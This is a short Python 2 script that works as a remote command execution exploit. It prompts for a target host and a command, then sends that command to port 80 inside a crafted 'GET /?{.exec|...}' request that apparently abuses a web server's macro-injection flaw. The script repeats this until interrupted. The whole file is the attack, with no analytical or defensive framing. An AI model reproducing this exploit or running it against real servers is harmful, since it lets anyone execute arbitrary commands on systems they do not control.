import socket

url = raw_input("Enter URL : ")
try:
      while True:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((url, 80))
            cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")
            req = "GET /?{.exec|"+cmd+".}"
            req += " HTTP/1.1\r\n\r\n"
            sock.send(req)
            sock.close()
            print "Done!"
except KeyboardInterrupt:
      print "Bye!"
